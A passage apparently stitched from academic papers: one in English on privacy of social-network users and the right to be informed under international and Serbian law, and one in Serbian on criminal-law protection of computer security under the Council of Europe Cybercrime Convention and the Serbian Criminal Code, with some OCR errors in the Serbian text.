terrorist and potential member recruitment for
terrorist organizations, and 3) the use of logistics
and information technology in order to search for
potential targets of terrorist attacks.
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Abstract:

The fact that it is possible to collect, store, distribute, reproduce, publish
and make personal data available to a wide range of people in cyber space,
developed a feeling of insecurity and lack of safety and protection. The aim
of the paper is to make users of social networks and internet in general aware
not to overestimate their power of having control over the information they
have published via social networks, and to be aware of their technical igno-
rance and the possibilities of privacy settings of user profiles.

Privacy on the Internet consists of the right to personal information concern-
ing their preservation, use, safety and displaying this personal information in
the cyber space, as well as identification of information relating to particular
website visitors. Information privacy includes information security, meaning
that information society exists when each individual can decide how to dis-
pose their personal data. When we talk about the right to privacy, we need to
emphasise that the right to be informed must not affect the right to privacy.

Keywords:

privacy, e-privacy, information privacy, right to be informed, Internet.

1. INTRODUCTION

The development of modern technology has endangered personal
privacy in the virtual space. The fact that it is possible to collect, store,
distribute, reproduce, publish and make personal data available to a wide
range of people in cyber space, developed a feeling of insecurity and lack
of safety and protection. A decade ago, while computer systems were just
in a phase of development, all these data were transferred from the virtual
space in a variety of digital media, making the "digital dossiers". The de-
velopment of information technologies enabled the connection between
different databases, which further increased the risk of endangering the
privacy of their users.

With the usage of the Internet, transmission of digital data and infor-
mation has become even easier. Initially, the "primitive" internet allowed
users anonymity - the information was forwarded via IP address, so both
the sender and the recipient could keep their anonymity. Today's "pro-
gressive” model of internet communication is entirely different and even

more dangerous for the privacy of its users.
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2. THE PRIVACY OF SOCIAL NETWORK
USERS

Social networks have created detail and comprehen-
sive database of personal details from the lives of its users
[1], and this database is daily complemented with increas-
ing number of information that is public and accessible
to all stakeholders of virtual interaction in cyber space.
As soon as certain personal information is published on
the Internet, it becomes public and available to anyone to
read and further use, and the owner of the information
loses control over their intimacy and published informa-
tion. The users of social networks and internet in general
usually overestimate their power of having control over
the information they have published via social networks,
because they are unaware of their technical ignorance and
the possibilities of user profiles privacy settings.

Modern states have faced the problem how to balance
the rights to privacy of individuals and the right of the
public to be informed. Controversially, both rights form
the foundations of a modern democratic society in which
the state has the right to protect itself by restricting the
right to privacy of an individual.

There are four main reasons for a possibility of violat-
ing the right to privacy on social networks [2]:

1. the imperfection of social network users, relating
mainly to the imperfections of a man as a human
being and their need to share their own privacy
with other people and the lack of awareness that
the privacy does not exist in cyber space, so once
something gets published it goes public that very
moment;

2. flaws in the software that social networks use, re-
sulting in the lack of privacy protection mecha-
nisms on social networks, thus making users’
privacy unprotected from all direct malicious at-
tacks, such as the theft of personal data, creation
of fake profiles, etc.;

3. inadvertent disclosure of personal data: personal
data on social networks can be reached by the
method of exclusion (e.g. based on the year of
graduation, we can conclude how old the user is,
even tough it is not written in the profile);

4. conflict of interest - most social networks gain
financial benefits from variety of ads placed by
an advertising agencies, which creates conflict of
interest regarding collected personal data that ad-
vertising agencies can access; the users want their
data inaccessible to people that are not marked as
"friends" on the social network, while advertising
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agencies want to come into possession of a large
number of personal information in order to bet-
ter and more easily sell their products or services.

Privacy can be defined as "a state of carefully limited
access to personal data"[3]. Any behaviour different from
those described above can result in privacy rights abuse
and the collection of sensitive personal information about
someone without their consent and knowledge that the
personal information could be manipulated.

In electronic communications, privacy can be under-
stood as "freedom from systematic observation, recording
of activities and personal data, or the right of individuals
to self-determine when, how and to what extent infor-
mation about their communications can and should be
available to others" [4]. In this sense, user's privacy can be
violated in several ways: a decline in the zone of privacy
(access, collection and processing), data abuse (making
certain action on the basis of available information) and
the interception and leveraging the information (profil-
ing) [5].

3. PRIVACY OR INFORMATIONAL PRIVACY

The right to privacy is one of the fundamental human
rights. It is recognized both on international and consti-
tutional level, and it is incorporated both in public law
and civil law provisions, obligatory to everyone (lat. erga
omnes), protecting individuals from harassment by state/
government authorities and from other individuals. As
an opposite to the publicly available information, privacy
involves secrecy and lack of harassment. It is referred to
the private life of the individual, in which it is justified
to expect peace and serenity, and non-interference with
the intimacy. The right to privacy allows the individual to
selectively show to other people as much as they want [6].

Privacy in electronic communications includes the
collecting, processing and dissemination of information
about users to third parties, whereby individuals who
record and publish their activities and personal data,
determine when, how and to what extent the information
should and can be made available to others [7]. Some
authors [8] define privacy as a complex concept, which
consists of personal autonomy, democratic participation,
managing its own identity and social coordination. The
central point of this multidimensional structure of privacy
right consists of the urge to retain personal data private
and to prevent other people to interfere.

The term "privacy” is often used in everyday commu-
nication, as well as in different philosophical, political and
legal discussions, but there is still no unique definition
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or generally accepted meaning of the term. The concept
of privacy has a well-known historical root in the works
of Aristotle. He was the first one to try to define privacy
as everything that is related to the family and individual,
standing as opposite to political activities as "public prop-
erty" [9]. Privacy is often defined as interest that has a
strong moral value or as a moral or legal right of the
individual that must be protected by society or law [10].

Privacy can be divided into spatial, communication
and information privacy [11]. Spatial privacy refers to
maintaining privacy in someone's home and other space
in which people lead their own lives separately from the
others. This type of privacy includes the respect of the
right to have one’s own space, both within home and
family and in the workplace. Communication privacy
refers to privacy of correspondence and other forms of
communication with other people.

Information privacy is closely related to information
technology development and refers to collecting personal
data about internet users, managing these data and their
further use. In a narrow sense, information privacy refers
to a need of an individual, a group or an institution to
independently decide when, how and what information
about themselves they wish to cede to others [12]. In a
broad sense, information privacy includes information
security, meaning that information society exists when
everyone can decide how to dispose their personal data,
regarding their needs and community requirements [13].
Information privacy consolidates legal values of pro-
tecting the rights of an individual in society that have
developed information technology and the concept of
personal data, referred to as "e-privacy” [14].

The right to information privacy includes the right
to be informed, the right to adequate use of personal
data, the right to control these data, the right to correct
published data and the right to use legal remedies and
appeals [15]. The right to privacy, as an individual right,
can be defined as a control, editing, managing and dele-
tion of information about an individual, when the owner
of the personal information decides so [16].

Despite the daily development of information tech-
nologies and new forms of potential abuse, Internet users
expect that each information system has the capacity to
reject attacks that can endanger system data. Also, the
problem is that users voluntarily and on their own initia-
tive publish a large number of their personal information
in cyber space, without considering whether this informa-
tion could be misused. The most common methods of
disrespecting the right to privacy on the Internet is un-
authorized access, collection and processing of personal
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data, misuse of the collected data, interception of sent
information, etc. However, according to a European Com-
mission report on EU citizens experience and perceptions
of cyber security issues in 2012 [17], most respondents
expressed that they have changed their behaviour when
using the Internet by not giving their personal data or not
opening e-mails that come from the unknown people and
whose contents seem suspicious. Half of the respondents
said that they had changed their password several times
in the past year for security reasons, especially to increase
security of personal data and financial transactions car-
ried out via the Internet. One-third of the respondents
said that they had at least once received an email that
could be considered as an internet fraud, that they had
been victims of identity theft attempt, hacking attempts
or cyber violence or sexual harassment.

4. THE RIGHT TO PRIVACY AND THE RIGHT
TO BE INFORMED

The use of information and communication tech-
nologies spread to all areas of people's lives, their work,
entertainment and many other private and business ac-
tivities, so almost everything in society has become “on-
line”, starting from signing the contracts to committing
criminal acts. Internet and other related technologies
transformed the society in three specific areas: privacy,
freedom of expression and free flow of information. Social
changes in modern society in the field of information
and communication technologies that started in 1970s
reflected perception of a new phenomenon - information
society. Information became an important element of
freedom and the right to spread information, which to
a large extent depended on the legitimacy and possibil-
ity of managing the collected data [18]. In the modern
information society, technological progress allows pro-
cessing, storage, accessibility and transfer of information
in any form, regardless of distance, time and quantity.
Even though there is no generally accepted definition of
the term "information society", in the related literature
there are three constitutional elements of the informa-
tion society: information and knowledge; proliferation of
information and communication technologies; access and
use of information and communication technologies [19].
The information is the data that is used and has a certain
effect or meaning to the recipient. For information to be
useful, among other things, it must be accurate, correct,
complete, simple, reliable and timely. Information or
information flow is important both from social as well
as the psychological and legal aspects. The right to public
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information and the right to privacy are basic human
rights guaranteed by both international and national
legislation, primarily as constitutional rights.

When we talk about the right to privacy, we need to
emphasise that the right to be informed must not affect
the right to privacy. Legal regulation of these two rights
should lead to their balance and adjustment. In some
cases, there is a legitimate public interest to have access
to certain information and legitimate interest of indi-
vidual to be “left alone”. In such cases, it is necessary to
estimate what principle should be given priority, but in
a way that the second principle affirms to the maximum
possible extent.

5. CONCLUSION

The right to privacy as a fundamental human right has
a special significance in the corpus of human rights. The
international normative framework of the right to privacy
consists of more international instruments: The Universal
Declaration of Human Rights (1948) [20], International
Covenant on Civil and Political Rights (1966) [21], Euro-
pean Convention on Human Rights - Convention for the
Protection of Human Rights and Fundamental Freedoms
(Rome, 1950) [22], Convention on the Rights of the Child
(1989) [23], Resolution of the Parliamentary Assembly
of the Council of Europe [24], Charter of Fundamental
Rights of the European Union [25], EU Directive 95/46/
EC [26], Directive of the European Parliament and Coun-
cil Directive 97/66/EC [27], Directive on Privacy and
Electronic Communications [28].

In the legislation of the Republic of Serbia, differ-
ent dimensions of the right to privacy are guaranteed
by: Constitution of the Republic of Serbia [29], Law on
Personal Data Protection [30], Law on Free Access to
Information of Public Importance [31], Law on Electronic
Communications [32], Law on Public Information and
Media [33], and provisions of the Criminal Code of the
Republic of Serbia [34]. All these documents together
form the overall regulatory framework for constitution
and understanding of the right to privacy, but differ in
application, interpretation and sanctioning. Protection
of privacy rights at the international and national levels
refers to the private sphere of life, family life, inviolability
of the home and correspondence, honour and reputation
of individuals.

In Serbia, the right to be informed is proclaimed in
the Constitution of the Republic of Serbia and in the Law
on Public Information and Media [35]. The two acts set
limitations for the rights to privacy, freedom of expression
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and the right to be informed in order to prevent dispro-
portionate restriction. The Serbian Constitution guaran-
tees the right to be informed (article 51), which means
that everyone has the right to be accurately, completely
and timely informed about all issues of public importance
and that everyone, in accordance with the law, has the
right to access information held by the state authorities
and organizations entrusted with public authorisation.
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Rezime:

Racunari i racunarski sistemi su danas postali neophodni pratilac ljudskog
zivota, ali i privrednog poslovanja, kao i delatnosti drzavnh i drugih organa.
Tako se radi o korisnim uredajima i sistemima za efikasno i kvalitetno funk-
cionisanje svake drzave, pai medunarodnih odnosa, oni su podlozni velikom
riziku i izazovima od fizi¢kih i pravnih lica iz razli¢itih razloga (motiva). Na
bazi usvojenih medunarodnih dokumenata univerzalnog i regionalnog ka-
raktera, najveci broj drzava, pa tako i Republika Srbija, u svom nacionalnom
zakonodavstvu poznaju razli¢ite mehanizme zastite i obezbedenja efikasnog,
kvalitetnog i blagovremenog funkcionisanja ra¢unarskih sistema i ra¢unarskih
uredaja. Poseban segment ove zastite ¢ini pravna zastita, u prvom redu kri-
vi¢nopravna zastita bezbednosti ra¢unarskih sistema. Tako i zakonodavstvo
Republike Srbije predvida krivi¢nu odgovornost i kazne za vise ra¢unarskih
(kompjuterskih) krivi¢nih dela o ¢ijim se karakteristikama sa teorijskog i
prakti¢nog aspekta govori u ovom radu.

Klju€ne reci:

racunar, ra¢unarski sistemi, racunarska bezbednost, krivi¢no delo, odgovornost.

1. UVOD

Usvajanjem Zakona o izmenama i dopunama Krivi¢nog zakona Repu-
blike Srbije, aprila 2003. godine, na bazi medunarodnih standarda univer-
zalnog ili regionalnog karaktera, u sistem krivicnog prava Republike Srbije
je po prvi put uvedeno vise ra¢unarskih (kompjuterskih) krivi¢nih dela,
te odredena pravila o krivi¢noj odgovornosti i kaznjavanju uc¢inilaca ovih
dela [9, pp. 351-361]. To je bio pocetak dizanja ra¢unarske bezbednosti na
kvalitetno vi$i nivo. Naime, u novouvedenoj glavi 16a Krivi¢nog zakona
Republike Srbije propisana je krivi¢na odgovornost i sistem kazni i drugih
krivi¢nih sankcija (mere bezbednosti) za specifi¢na ,,krivi¢na dela protiv
bezbednosti ra¢unarskih podataka”

Time se i Republika Srbija priklju¢ila velikom broju savremenih drzava
koje se na razlicite nacine i razli¢itim merama (u prvom redu sistemom
preventivnih i represivnih mera) pokusavaju efikasno, blagovremeno,
zakonito i kvalitetno suprotstaviti razli¢itim oblicima i vidovima zloupo-
trebe racunara u cilju ostvarenja protivpravne imovinske koristi za sebe
ili drugo fizi¢ko ili pravno lice, odnosno u cilju nano$enja (imovinske)
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stete drugom licu ili radi povrede prava drugog lica, ili
pak iz drugih nezakonitih motiva.

Konstituisanjem Republike Srbije kao samostalne i
medunarodno priznate drzave, septembra 2005. godine,
donet je danas vaze¢i jedinstveni i sistematizovani kodeks
svih krivi¢cnopravnih normi materijalnopravnog karak-
tera — Krivi¢ni zakonik Republike Srbije (KZ). U glavi
XXVII, pod nazivom ,,Krivi¢na dela protiv bezbednosti
racunarskih podataka’, KZ propisuje ra¢unarska krivi¢na
dela. Ovaj Zakonik poceo je da se primenjuje od 1. janu-
ara 2006. godine i do sada je imao vi$e izmena i dopuna,
ukljucujuéii poslednje izmene iz novembra 2016. godine.

2. EVROPSKI STANDARDI ZASTITE
RACUNARSKE BEZBEDNOSTI

Savet Evrope je dono$enjem Konvencije o kiberne-
tickom (sajber) kriminalu (Convention on Cybercrime,
ETS 185) od 23. novembra 2001. godine [4, pp. 261-265]
pokusao da postavi osnove jedinstvenog evropskog siste-
ma materijalnog i procesnog krivi¢nog prava u oblasti
neophodne saradnje drzava ¢lanica u suzbijanju razli¢itih
oblika i vidova ra¢unarskog (kibernetickog) kriminala. Pri
tome je sama Konvencija (¢l. 2-13) propisala pet krivi¢nih
dela ove vrste koja su upravljena protiv tajnosti, celovitosti
i dostupnosti racunarskih podataka i sistema. Ovim su
postavljene osnove za pojedina nacionalna zakonodavstva
da preciznije odrede obelezja i karakteristike pojedinih
racunarskih krivi¢nih dela, njihove osnovne, lakse ili teze
oblike, te da propise krivi¢ne sankcije za njihove uc¢inioce
(fizi¢ka ili pravna lica).

Uz ovu Konvenciju usvojen je i Dopunski protokol o
kriminaliziranju akata rasisticke i ksenofobi¢ne prirode
koja su u¢injena posredstvom rac¢unarskih sistema. I ovaj
Protokol u ¢l. 3-7 propisuje takode krivi¢nu odgovornost
i kaznjivost za zloupotrebu ra¢unara u vr$enju krivi¢nih
dela iz rasistickih i ksenofobi¢nih pobuda (motiva).

Imajudi u vidu utvrdene obaveze za drzave ¢lanice
Saveta Evrope, bilo je logi¢no ocekivati da ¢e i u domacéem
kriviénom zakonodavstvu uslediti, prvo, na zakonodav-
nom planu, pa potom i u praksi efikasna, kvalitetna i
zakonita borba sa racunarskim kriminalitetom i njihovim
izvr$iocima [11, pp. 116-124].

Prihvatajudi navedenu Konvenciju, Republika Srbija
je izmenama i dopunama Krivi¢nog zakona Republike
Srbije iz aprila 2003. godine u krivi¢nopravni sistem uvela
vi$e ra¢unarskih krivi¢nih dela u glavi 16a pod nazivom
,»Krivi¢na dela protiv bezbednosti racunarskih podataka”
koja su imala za cilj da obezbede efikasnu, kvalitetnu i
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zakonitu zastitu racunarske bezbednosti [9, pp. 351-361].
Identi¢na krivi¢na dela su potom uvedena i u Krivicnom
zakoniku Crne Gore 2003. godine u glavi XXVIII pod
istim nazivom [15, pp. 816-824] bududi da su ove dve
republike ¢inile Drzavnu zajednicu Srbija i Crna Gora
do maja 2005. godine.

U osnovi Konvencije o kiberneti¢ckom kriminalu,
kao obavezuju¢em medunarodnom dokumentu koji je
donet od strane najznacajnije i najmasovnije evropske
regionalne organizacije, nalazi se viSe prethodno done-
tih preporuka kao $to su: (1) Preporuka broj R (85) 10
o prakti¢noj primeni Evropske konvencije o uzajamnoj
pomodi u krivicnim predmetima u pogledu pruzanja
medunarodne krivi¢énopravne pomod¢i pri presretanju
komunikacija, (2) Preporuka broj R (88) 2 o piratstvu
na polju autorskih i srodnih prava, (3) Preproruka broj R
(87) 15 koja propisuje upotrebu li¢nih podataka u oblasti
delatnosti policije, (4.) Preporuka broj R (95) 4 o zastiti
li¢nih podataka na podrudju telekomunikacionih usluga
sa posebnim osvrtom na ulogu telefonije, (5) Preporuka
broj R (89) 9 o racunarskom kriminalu koja daje smernice
nacionalnim organima u pogledu definisanja pojedinih
ra¢unarskih krivi¢nih dela i (6) Preporuka broj R (95) 13
o problemima krivi¢nog procesog prava koji su vezani za
informati¢ku tehnologiju (3, pp. 87-92].

Konvencija o kiberneti¢kom kriminalu predvida niz
pravnih sredstava, mera i postupaka, koji su nuzni radi
odvracanja lica od radnji koje su usmerene protiv tajno-
sti, celovitosti i dostupnosti ra¢unarskih, sistema, mreza
i racunarskih podataka, kao i za odvracanje od njihove
zloupotrebe u bilo kom vidu [14, pp. 78-82]. Na taj nac¢in
se olakasava otkrivanje, istrazivanje i krivi¢ni progon tih
dela i njihovih ucinilaca na domacem i medunarodnom
nivou i osigurava efikasna i brza medunarodna saradnja.

U ¢lanu 1 Konvencija je definisala osnovne pojmove
racunarskog (kibernetickog, sajber) kriminaliteta kao $to
su: ra¢unarski sistem, racunarski podatak, davalac usluga
ili podaci o prometu. Ovim je dato uputstvo nacionalnom
zakonodavcu da u ovom duhu tretira ove zasti¢ene vred-
nosti kao objekte krivicnopravne zastite [18, pp. 94-97].

U drugom poglavlju pod nazivom ,,Kazneno materi-
jalno pravo” u viSe odredbi su dati pojam i karakteristike
pojedinih krivi¢nih dela koje treba inkriminisati u nacio-
nalnim pravnim sistemima drzava ¢lanica Saveta Evrope.
To su sledeca krivi¢na dela koja povreduju ili ugrozavaju
rac¢unarsku bezbednost: (1) krivi¢na dela protiv tajnosti,
celovitosti i dostupnosti ra¢unarskih podataka i sistema
(¢l. 2-6) — nezakonti pristup, nezakonito presretanje,
ometanje podataka, ometanje sistema i zloupotreba ure-
daja, (2) ra¢unarska krivi¢na dela (¢1.7 i 8) — ra¢unarsko
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falsifikovanje i ra¢unarska prevara, (3) krivi¢na dela u
vezi sa sadrzajem (¢lan 9) - krivi¢na dela vezana za dec-
ju pornografiju i (4) krivi¢na dela povrede autorskih i
srodnih prava (¢lan 10).

Ono §to je od posebnog znacaja jesu odredbe Kon-
vencije koje izri¢ito zahtevaju od drzava ¢lanica da se
kazni i za pokusaj ovih krivi¢nih dela, kao i za oblike
saucesnistva u vidu podstrekavanja i pomaganja, kao i da
se pored odgovornosti fizickih lica za ova dela predvidi
i krivi¢na odgovornost pravnih lica.

Sve navedene standarde je novo krivi¢no zakonodav-
stvo Srbije u potpunosti implementiralo u svoj pravni
sistem obezbedujudi vrstu i meru kazne za pojedina kri-
vi¢na dela, kao i formirajuci posebne organe u okviru po-
licije, javnog tuzilastva i Viseg suda u Beogradu - posebne
organizacione jedinice za borbu protiv visokotehnoloskog
kriminala gde spadaju navedena krivi¢na dela.

3. KRIVICNOPRAVNA ZASTITA RACUNARSKE
BEZBEDNOSTI

Zbog postojanja razli¢itih oblika i vidova ispoljavanja
zloupotrebe ra¢unara u svakodnevnim Zivotnim situ-
acijama, KZ propisuje vi$e racunarskih krivi¢nih dela
ili kako ih on naziva ,krivi¢nih dela protiv bezbednosti
rac¢unarskih podataka” kao najopasnijih oblika povrede
ili ugrozavanja ra¢unarske bezbednosti fizi¢kih ili prav-
nih lica, u zemlji ili inostranstvu [13, pp. 214-221]. No,
sva ta pojedina dela, pored brojnih razli¢itosti, imaju i
niz specifi¢nih karakteristika koje su im zajednicke [17,
pp- 32-40].

Racunar, u svakom slucaju, predstavlja jednu od naj-
znacajnijih i najrevolucionarnijih tekovina razvoja teh-
nicko-tehnoloske civilizacije. No, pored brojnih prednosti
koje sobom nosi i ogromne koristi za ¢ovec¢anstvo, ra¢unar
je brzo postao i sredstvo za razne zloupotrebe nesavesnih
pojedinaca, grupa, pa i ¢itavih organizacija. Tako nastaje
racunarski kriminalitet kao poseban i specifi¢an oblik
savremenog kriminaliteta po strukturi, osobenostima,
oblicima ispoljavanja, karakteristikama u¢inioca, na¢inu
i sredstvima izvrSenja itd.

Ovaj vid kriminaliteta, za razliku od drugih, jo$ uvek
ne predstavlja zaokruzenu fenomenolosku kategoriju,
te ga je nemoguce definisati jedinstvenim i preciznim
pojmovnim odredenjem. Racunarski kriminalitet je
samo opsta forma kroz koju se ispoljavaju razli¢iti oblici
kriminalne delatnosti, uz pomo¢ ili posredstvom racu-
nara. Naime, to je kriminalitet koji je upravljen protiv
bezbednosti ra¢unarskih (informatickih, kompjuterskih)
sistema u celini ili njegovih pojedinih delova na razli¢ite
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nacine i razli¢itim sredstvima u nameri da se sebi ili
drugom fizickom ili pravnom licu pribavi protivpravna
imovinska korist ili drugome nanese kakva, najcesce,
imovinska Steta.

3.1. Objekt racunarskih krivicnih dela

Objekt zastite kod rac¢unarskih krivi¢nih dela jeste
racunarska bezbednost ili bezbednost racunarskih (kom-
pjuterskih) podataka i sistema, odnosno racunarske mreze
[8, pp. 56-62]. Iako je danas uobicajeno da se ova krivi¢na
dela obuhvataju pojmom ,.kompjuterski” kriminalitet ,
domaci je zakonodavac za njih ipak upotrebio termin ,,ra-
¢unarski” kriminalitet. No, pored ovog naziva za krivi¢na
dela sistematizovana na ovom mestu, zakonodavstvo
Srbije upotrebljava i pojam ,visokotehnoloski” kriminal.
Pod ovim se pojmom podrazumeva vrienje krivi¢nih
dela kod kojih se kao objekat ili kao sredstvo izvrsenja
krivi¢nih dela javljaju racunari, racunarske mreze, racu-
narski podaci, ra¢unarski sistemi, kao i njihovi proizvodi
u materijalnom ili elektronskom obliku.

Pri tome je sam zakonodavac u ¢lanu 112 KZ odredio
pojam i karakteristike objekta napada kod ovih krivi¢nih
dela. To su: 1) racunarski podatak, 2) racunarska mreza,
3) ra¢unarski program, 4) racunarski virus, 5) racunar i
6) racunarski sistem [13, pp. 189-192].

Racunarski podatak je svako predstavljanje ¢injeni-
ca, informacija ili koncepta u obliku koji je podesan za
njihovu obradu u ra¢unarskom sistemu, ukljucujudi i
odgovaraju¢i program na osnovu koga racunarski sistem
obavlja svoju funkciju (¢lan 112 stav 17 KZ). Ra¢unarska
mreza predstavlja skup medusobno povezanih racunara,
odnosno racunarskih sistema koji komuniciraju raz-
menjujuci podatke (¢lan 112 stav 18 KZ). Racunarski
program je uredeni skup naredbi koji sluzi za upravljanje
radom racunara, kao i za resavanje odredenog zadatka
pomocu racunara (¢lan 112 stav 19 KZ). Ra¢unarski virus
je racunarski program ili drugi skup naredbi koji je unet
uracunar ili ra¢unarsku mrezu, koji je napravljen da sam
sebe umnozava i deluje na druge programe ili podatke u
racunaru ili racunarskoj mrezi dodavanjem tog programa
ili skupa naredbi jednom ili vi$e ra¢unarskih programa
ili podataka (¢lan 112 stav 20 KZ). Racunar je svaki
elektronski uredaj koji na osnovu programa automatski
obraduje i razmenjuje podatke (¢lan 112 stav 33 KZ). I
konacno, racunarski sistem je svaki uredaj ili grupa me-
dusobno povezanih ili zavisnih uredaja od kojih jedan ili
vi$e njih, na osnovu programa vrsi automatsku obradu
podataka (¢lan 112 stav 34 KZ).
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3.2. Pojam racunarskih krivicnih dela

Kompjuter (racunar) predstavlja jednu od najznacaj-
nijih i najrevolucionarnijih tekovina tehnicko-tehnolos-
kog razvoja na kraju 20. veka. No, pored prednosti koje
racunar nosi sa sobom i ogromne koristi za ¢ovecanstvo,
on je ubrzo postao i sredstvo zloupotrebe nesavesnih po-
jedinaca ili grupa. Tako nastaje ra¢unarski kriminalitet,
kao poseban i specifi¢an oblik savremenog kriminaliteta.
Zahvaljuju¢i ogromnoj mo¢i ra¢unara u memorisanju
i brzoj obradi velikog broja podataka, automatizovani
informacioni sistemi postaju sve brojniji i nezamenjivi
pratilac celokupnog ljudskog i drustvenog zivota fizickih
i pravnih lica [19, pp. 305-318].

Razlicite forme primene rac¢unara u svim oblastima
zivota, privrede i drugih drustvenih delatnosti nisu ostale
nezapazene od strane nesavesnih i zlonamernih pojedina-
ca ili grupa koji ne birajuéi sredstva i na¢ine pokusavaju
da pribave za sebe ili drugog protivpravnu imovinsku
korist ili da drugome nanesu kakvu, naj¢esce, stetu. Tako
rac¢unar postaje sredstvo, orude za izvr$enje razlic¢itih
krivi¢nih dela. Za razlicite oblike i vidove zloupotrebe
racunara u teoriji se upotrebljavaju i razli¢iti nazivi kao
§to su: zloupotreba ra¢unara (computer abuse), delikti
uz pomo¢ racunara (crime by computer), kompjuterska
prevara (computer fraud), informaticki kriminalitet, racu-
narski kriminalitet, sajber kriminalitet, tehno kriminalitet
itd. [10, pp. 639].

U pravnoj teoriji se mogu uociti razli¢ita odredenja
pojma racunarskog kriminaliteta. Tako, Don Parker odre-
duje racunarski kriminalitet kao zloupotrebu kompjutera
u smislu svakog dogadaja koji je u vezi sa upotrebom
kompjuterske tehnologije u kome Zrtva trpi ili bi mogla
da trpi gubitak, a uc¢inilac deluje u nameri da sebi pribavi
ili bi mogao da pribavi korist [7, pp. 70]. Avgust Bekui
defini$e kompjuterski kriminalitet kao vrsenje krivi¢nih
dela kod kojih se ra¢unar pojavljuje kao orude ili objekt
zastite, odnosno kao upotrebu kompjutera pri vrSenju
prevare, utaje ili zloupotrebe ¢iji je cilj prisvajanje novca,
usluge ili vr$enje politicke ili poslovne manipulacije, uk-
lju¢ujudi i radnje uperene protiv samog racunara [1, pp.
4]. Bogo Brvar pod ra¢unarskim kriminalitetom smatra
vréenje krivi¢nih dela kod kojih se kompjuter pojavljuje
kao sredstvo (orude), predmet ili objekt napada za ¢ije
je vrsenje ili poku$aj neophodno izvesno znanje iz rac¢u-
narstva ili informatike [6, pp. 29].Tako se moze zakljuciti
da se pod pojmom racunarskog kriminaliteta [5, pp.
233-235] i [16, pp. 52-56] podrazumeva sveukupnost
razli¢itih oblika, vidova i formi ispoljavanja protivpravnih
ponasanja upravljenih protiv bezbednosti racunarskih,
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informacionih i kompjuterskih sistema u celini ili njihovih
pojedinih delova na razli¢ite nacine i razli¢itim sredstvima
u nameri da se sebi ili drugom pribavi korist (imovinske
ili neimovinske prirode) ili da se drugome nanese steta.

Iz ovako odredenog pojma racunarskog krimina-
liteta, kao najopasnijeg oblika ugrozavanja racunarske
bezbednosti, proizilaze njegove osnovne karakteristike
[2, pp. 211-214]. To su: 1) objekt zastite je bezbednost
rac¢unarskih podataka ili informacionog sistema u celi-
ni ili njegovog pojedinog dela (segmenta), 2) poseban,
specifi¢an karakter i priroda protivpravnih delatnosti
pojedinaca, 3) posebna znanja i specijalizacija na strani
ucinioca ovih krivi¢nih dela koja isklju¢uje moguénost
da se svako, bilo koje lice nade u ovoj ulozi, 4) poseban
nacin i sredstvo preduzimanja radnje izvrsenja — uz po-
mo¢ ili upotrebom (zloupotrebom) ra¢unara i 5) namera
ucinioca kao subjektivni elemenat u vreme preduzimanja
radnje koja se ogleda u nameri pribavljanja za sebe ili
drugog koristi ili nano$enja $tete drugom fizickom ili
pravnom licu.

Racunarski kriminalitet karakterise velika dinamika i
izuzetna $arolikost pojavnih oblika, formi i vidova ispo-
ljavanja. To je i razumljivo jer se radi o novoj tehnologiji
sa velikim moguénostima primene u $irokoj sferi ljud-
ske, drustvene i privredne delatnosti, te su i mogu¢nosti
zloupotrebe racunara svaki dan sve vece. Pored novih
pojavnih oblika ranije, ve¢ poznatih krivi¢nih dela koja
pod uticajem zloupotrebe kompjutera menjaju tradicio-
nalni, klasi¢ni na¢in i modus ispoljavanja (krada, prevara,
falsifikovanje), javljaju se i novi oblici protivpravnog i
kaznjivog ponasanja koji ne poznaju granice izmedu
drzava (pravljenje racunarskog virusa).

Stetne posledice ra¢unarskih krivi¢nih dela su velike
i ispoljavaju se u nastupanju imovinske Stete za fizicka
ili pravna lica (ponekad i za celu drzavu), u gubitku po-
slovnog ugleda, gubitku poverenja u sigurnost i istinitost
rac¢unarskog poslovanja i uopste racunarskih podataka,
opasnosti od zloupotrebe po slobode i prava ¢oveka i
gradana na razne nacine, odavanje li¢ne, poslovne i drugih
vidova tajni i sL.

3.3. Ostali elementi racunarskih krivicnih dela

U teoriji krivicnog prava se u oblast racunarskog
kriminaliteta svrstavaju razliciti oblici protivpravnog,
nedozvoljenog ponasanja kao $to su: 1) ra¢unarska pre-
vara, 2) finansijske krade, prevare, utaje i zloupotrebe, 3)
krada dobara, 4) falsifikovanje podataka i dokumenata,
5) vandalizam, 6) sabotaza, 7) hakerisanje, 8) ra¢unarska
$pijunaza i 9) krada vremena [12, pp. 211-214].
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Velike prakti¢ne mogué¢nosti koje pruza savremena
visoko sofisticirana racunarska i informaticka tehnologija
sa sobom nose i opasnost od Sirenja i masovne upotrebe
elektronskog prisluskivanja, krade poslovnih i drugih
tajni, kao i razli¢itih oblika intelektualne svojine, zatim
ozbiljnog narusavanja privatnosti i ugrozavanja ljudskih
sloboda i prava, kao i li¢nog integriteta. U poslednje vreme
je prisutna i realna opasnost od talasa razlicitih oblika
teroristickog delovanja (tzv. tehno ili sajber terorizam).

Izvr$ioci racunarskih krivi¢nih dela predstavljaju spe-
cifi¢nu kategoriju lica. Radi se, uglavnom, o nedelinkven-
tnim 1 socijalno prilagodljivim, nenasilnim li¢nostima.
Oni za vr$enje krivi¢nih dela putem ra¢unara moraju da
poseduju odredena specijalna, stru¢na i prakti¢na znanja
i vestine u domenu informaticke i racunarske tehnike i
tehnologije. Pored toga, radi se o licima kojima su ovakva
tehnicka sredstva (ra¢unari) dostupna u fizickom smislu.

Ova se krivi¢na dela vrse prikriveno, ¢esto bez vidljive
prostorne i vremenski bliske povezanosti izmedu ucinioca
dela i o$tecenog (pasivnog subjekta). U praksi postoji veca
ili manja vremenska razlika izmedu preduzete radnje
izvr$enja krivicnog dela i trenutka nastupanja njegove
posledice. Ova se dela tesko otkrivaju, a jo$ teze dokazu-
ju, dugo ostaju prakti¢no neotkrivena, sve dok osteceni
ne pretrpi $tetu u domenu informatickih i ra¢unarskih
podataka ili sistema. Radi se o kriminalitetu koji brzo
i lako menja forme i oblike ispoljavanja, granice medu
drzavama, kao i vrstu o$tecenog. U pogledu krivice, ova
se dela vre iskljucivo sa umisljajem.

KZ u glavi 27. pod nazivom ,,Krivi¢na dela protiv bez-
bednosti ra¢unarskih podataka” u ¢l. 298-304a predvida
slede¢a racunarska krivi¢na dela: 1) o$tecenje ra¢unarskih
podataka i programa, 2) ra¢unarska sabotaza, 3) pravljenje
i uno$enje racunarskih virusa, 4) raCunarska prevara, 5)
neovlaséeni pristup zasti¢enom ra¢unaru, racunarskoj
mrezZi i elektronskoj obradi podataka, 6) sprecavanje i
ogranicavanje pristupa javnoj racunarskoj mrezi, 7) ne-
ovla$¢eno kori$¢enje racunara ili racunarske mreze i 8)
